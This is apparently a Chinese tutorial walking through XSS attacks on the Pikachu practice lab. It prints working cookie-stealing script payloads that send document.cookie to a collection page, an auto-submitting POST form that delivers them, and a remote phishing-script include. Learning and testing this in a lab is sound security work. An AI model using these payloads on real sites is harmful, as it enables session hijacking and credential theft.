一、概述

XSS(跨站脚本)概述 Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

    1.反射性XSS;

    2.存储型XSS;

    3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

二、反射型XSS (get)

1.先在查看器中修改前端代码,把输入框长度弄大,去掉原来20长度的限制

2、输入  <script>alert('xss')</script> ,注意要在英文输入法状态下完成,否则括号、引号都不对,得到弹窗输出

3、get 型 XSS 通过URL方式提交,如下

http://192.168.80.137/pika/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=submit

攻击者精心编制代码,获取用户cookie、token之类,肯定不是只做无聊的弹窗,发送这个URL给用户,由于用户看到这个链接是知名论坛,无意识点击之后会中招,cookie之类信息被黑客获取,从而黑客可以以受害者身份进入网站

三、存储型XSS

类似,写入留言板的XSS,用户打开这个页面就会中招

四、DOM型XSS

闭合 ,例如  #' onclick="alert(111)">  写入,这样完成XSS

五、利用

1、平台准备

2、反射型XSS利用

比如跟谁在论坛中聊天,把这一串发给他,他一不小心点击马上中招,cookie就被拿走了

<script>document.location = 'http://192.168.80.137/pika/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

3、存储型XSS利用

要做一个页面,在测试环境中页面地址位于   C:\phpStudy\PHPTutorial\WWW\pika\pkxss\xcookie

把页面地址 192.168.80.137/pika/pkxss/xcookie/post发给被害者,被害者点击页面然后中招

(1)首先,被害者要登录成功

(2) 192.168.80.137/pika/pkxss/xcookie/post.html  把这个发给用户,里面内容主要是

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.80.137/pika/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.80.137/pika/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

4、存储型XSS利用 - 钓鱼攻击

制作自己的PHP网站接收钓鱼信息,然后把相应脚本嵌入存在XSS漏洞的留言板,用户打开这个页面会弹出用户名、密码,虽然浏览器已经提示安全性(现在的浏览器安全性都不错),但安全意识不足的用户可能仍会输入用户名密码然后中招。

<script src="http://192.168.1.15/pika/pkxss/xfish/fish.php"></script>  

这个地方脚本可以看一下是怎么写的

pikachs 渗透测试2-XSS漏洞及利用的更多相关文章

  1. Web渗透测试(xss漏洞)

    Xss介绍—— XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安 ...

  2. pikachs 渗透测试1-环境及暴力破解

    一.安装 PhpStudy20180211,默认安装 1.mysql默认密码是root,因为在虚拟机,保留不动 2.解压pikachs 到 C:\phpStudy\PHPTutorial\WWW\pi ...

  3. 【渗透测试】ZipperDown 漏洞分析

    0x01 漏洞危害 1. 在使用 HTTP 下载 zip 包并使用有问题的第三方库 unzip 时,攻击者通过劫持 HTTP 流量,可以导致 APP 下载一个恶意的 zip 包,在解压 zip 包时可 ...

  4. Metasploitable渗透测试实战——Windows漏洞 MS08-067复现

    Ms08-067 攻防环境: 攻击机:kali     ip:198.168.12.212 靶机:Window XP 未打过ms08-067补丁  ip:198.168.12.209

  5. XSS漏洞的渗透利用另类玩法

    XSS漏洞的渗透利用另类玩法 2017-08-08 18:20程序设计/微软/手机 作者:色豹 i春秋社区 今天就来讲一下大家都熟悉的 xss漏洞的渗透利用.相信大家对xss已经很熟悉了,但是很多安全 ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  8. 记一次隐秘的XSS漏洞挖掘

    前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

随机推荐

  1. Java 8 中的抽象类和接口到底有啥区别?

    上一篇栈长发了这篇<Java 8 有多牛逼?打破一切你对接口的认知!>,帮助许多人解开了疑惑,还有读者留言说两者还有啥区别,故引发了此篇: 在我们面试时也会经常遇到面试官问抽象类和接口的区 ...

  2. 通过命令行上传ipa到appstore

    搞持续集成自动化打包上传到appstore遇到这个问题,记录一下. 其实主要就一条到命令: xcrun altool --upload-app -f xxxx.ipa -u "yanqizh ...

  3. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  4. webpack5文档解析(下)

    声明:所有的文章demo都在我的仓库里 代码分离 代码分离的有点在于: 切割代码,生成不同的打包文件,按需加载这些文件. 每个bundle的体积更小 控制外部资源的加载顺序 常用的方法有: 入口起点: ...

  5. 一文带你趟过mac搭建appium测试环境的遇到的坑

    做UI自动化,最难的一步就是在环境搭建上,怎么去搭建一个UI自动化测试的环境,会难住很多人,在Mac上搭建appium如何搭建呢,本文带着大家去领略如何在mac上搭建appium测试环境.下面就是详细 ...

  6. Abductive Commonsense Reasoning —— 溯因推理

    Abductive Commonsense Reasoning(溯因推理) 介绍 溯因推理是对不完全观察情境的最合理解释或假设的推论. 上图给出的是一个简明扼要的例子: 给定不同时间节点上的情境观测值 ...

  7. 批量安装Zabbix_Agent

    使用自动化部署工具Ansible批量部署zabbix_agent. 1. 安装Ansible yum –y install ansible 内网情况下,现在ansible及其依赖的rpm包,添加到yu ...

  8. puk2367 拓扑排序

    Description The system of Martians' blood relations is confusing enough. Actually, Martians bud when ...

  9. 2018-12-8 论文翻译+hdoj+git+python

    今天干的事不多,明天得把实验写了. 论文翻译了摘要.0.5h hdoj 五道水题.注意while(cin>>char&&char != '\n')没用.可用ch = cin ...

  10. JNI-Thread中start方法的调用与run方法的回调分析

    前言 在java编程中,线程Thread是我们经常使用的类.那么创建一个Thread的本质究竟是什么,本文就此问题作一个探索. 内容主要分为以下几个部分 1.JNI机制的使用 2.Thread创建线程 ...